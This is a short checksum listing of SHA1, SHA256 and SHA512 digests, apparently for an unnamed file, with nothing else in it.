SHA1235f5fa85884eb00a7e94ea89ddbf1868ed08ca4
SHA2564990812302151738372938dacd4b302222641fee26cd03280af7a75c2e971730
SHA51208cd0a61f44458f4054c493b0bf18e20cb10114e11a0e5657b6d0ffad43273a65c8aedfabfc01bdc516f04298190738cfebfa10d44af67fd8284f1a0a96f8305